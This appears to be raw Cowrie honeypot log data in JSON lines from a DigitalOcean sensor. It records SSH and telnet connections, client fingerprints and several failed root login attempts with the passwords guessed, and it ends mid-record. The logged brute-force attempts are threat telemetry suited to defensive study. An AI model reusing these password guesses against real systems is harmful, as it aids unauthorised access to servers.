{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":12932,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec10f276b5f","protocol":"ssh","message":"New connection: 38.93.206.2:12932 (159.203.135.109:22) [session: 0ec10f276b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:12.628499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:12.634143Z","src_ip":"38.93.206.2","session":"0ec10f276b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:12.686831Z","src_ip":"38.93.206.2","session":"0ec10f276b5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1980","message":"login attempt [root/qwerty1980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:12.853433Z","src_ip":"38.93.206.2","session":"0ec10f276b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:13.909132Z","src_ip":"38.93.206.2","session":"0ec10f276b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37136,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2911527cdd4","protocol":"telnet","message":"New connection: 135.148.14.151:37136 (159.203.135.109:23) [session: d2911527cdd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:24.134096Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":56754,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbc49d7b947e","protocol":"ssh","message":"New connection: 94.159.110.201:56754 (10.17.0.5:22) [session: dbc49d7b947e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:29.289104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:29.294216Z","src_ip":"94.159.110.201","session":"dbc49d7b947e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:29.410136Z","src_ip":"94.159.110.201","session":"dbc49d7b947e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357456","message":"login attempt [root/159357456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:29.762983Z","src_ip":"94.159.110.201","session":"dbc49d7b947e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.37033152580261,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:30.046133Z","src_ip":"135.148.14.151","session":"aff2ba7ff35f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:30.882470Z","src_ip":"94.159.110.201","session":"dbc49d7b947e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.40934371948242,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:36.571996Z","src_ip":"135.148.14.151","session":"8d528ca843e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.71570682525635,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:40.848679Z","src_ip":"135.148.14.151","session":"e686879f15a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.223212003707886,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:41.003763Z","src_ip":"135.148.14.151","session":"f276e766d934","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":43652,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7bd3be32666","protocol":"telnet","message":"New connection: 105.209.159.189:43652 (10.17.0.5:23) [session: f7bd3be32666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:44.627364Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.209.159.189","src_port":43634,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5db7120434a","protocol":"telnet","message":"New connection: 105.209.159.189:43634 (10.17.0.5:23) [session: c5db7120434a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:44.631766Z"}
{"eventid":"cowrie.session.closed","duration":34.921117305755615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:45:59.055084Z","src_ip":"135.148.14.151","session":"d2911527cdd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":54894,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf4720b172a","protocol":"telnet","message":"New connection: 135.148.14.151:54894 (159.203.135.109:23) [session: daf4720b172a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:03.115707Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":40868,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c2c5bf9abbb","protocol":"ssh","message":"New connection: 103.82.132.16:40868 (159.203.135.109:22) [session: 4c2c5bf9abbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:26.015854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:26.021889Z","src_ip":"103.82.132.16","session":"4c2c5bf9abbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:26.279129Z","src_ip":"103.82.132.16","session":"4c2c5bf9abbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051987","message":"login attempt [root/25051987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:27.050549Z","src_ip":"103.82.132.16","session":"4c2c5bf9abbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:28.309696Z","src_ip":"103.82.132.16","session":"4c2c5bf9abbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.4","src_port":42831,"dst_ip":"10.17.0.5","dst_port":22,"session":"638cdafe088b","protocol":"ssh","message":"New connection: 195.96.139.4:42831 (10.17.0.5:22) [session: 638cdafe088b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:34.516337Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":40612,"dst_ip":"159.203.135.109","dst_port":23,"session":"073bc21120cd","protocol":"telnet","message":"New connection: 135.148.14.151:40612 (159.203.135.109:23) [session: 073bc21120cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:34.770704Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:36.516690Z","src_ip":"195.96.139.4","session":"638cdafe088b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.96.139.4","src_port":43335,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b71e49ff98","protocol":"ssh","message":"New connection: 195.96.139.4:43335 (10.17.0.5:22) [session: 65b71e49ff98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:36.584346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:36.589611Z","src_ip":"195.96.139.4","session":"65b71e49ff98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:36.693135Z","src_ip":"195.96.139.4","session":"65b71e49ff98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:36.838069Z","src_ip":"195.96.139.4","session":"65b71e49ff98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.88579845428467,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:39.001265Z","src_ip":"135.148.14.151","session":"daf4720b172a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48512,"dst_ip":"159.203.135.109","dst_port":23,"session":"b90e1c25fd11","protocol":"telnet","message":"New connection: 135.148.14.151:48512 (159.203.135.109:23) [session: b90e1c25fd11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:46:59.002427Z"}
{"eventid":"cowrie.session.closed","duration":33.86998748779297,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:08.640561Z","src_ip":"135.148.14.151","session":"073bc21120cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39028,"dst_ip":"10.17.0.5","dst_port":22,"session":"2064f3973db1","protocol":"ssh","message":"New connection: 87.251.79.125:39028 (10.17.0.5:22) [session: 2064f3973db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:19.030454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:19.050156Z","src_ip":"87.251.79.125","session":"2064f3973db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:19.125527Z","src_ip":"87.251.79.125","session":"2064f3973db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:19.349668Z","src_ip":"87.251.79.125","session":"2064f3973db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:20.425928Z","src_ip":"87.251.79.125","session":"2064f3973db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56702,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f4e62cfa68","protocol":"ssh","message":"New connection: 103.27.238.114:56702 (10.17.0.5:22) [session: d6f4e62cfa68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:23.168661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:23.173169Z","src_ip":"103.27.238.114","session":"d6f4e62cfa68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:23.442796Z","src_ip":"103.27.238.114","session":"d6f4e62cfa68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cbcntvf","message":"login attempt [root/cbcntvf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:24.255843Z","src_ip":"103.27.238.114","session":"d6f4e62cfa68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:25.529110Z","src_ip":"103.27.238.114","session":"d6f4e62cfa68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":36194,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d52d8c44db","protocol":"telnet","message":"New connection: 135.148.14.151:36194 (159.203.135.109:23) [session: c2d52d8c44db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:27.817075Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.174.90.23","src_port":44890,"dst_ip":"10.17.0.5","dst_port":22,"session":"308d6f722ad7","protocol":"ssh","message":"New connection: 107.174.90.23:44890 (10.17.0.5:22) [session: 308d6f722ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:29.994189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T20:47:29.999607Z","src_ip":"107.174.90.23","session":"308d6f722ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.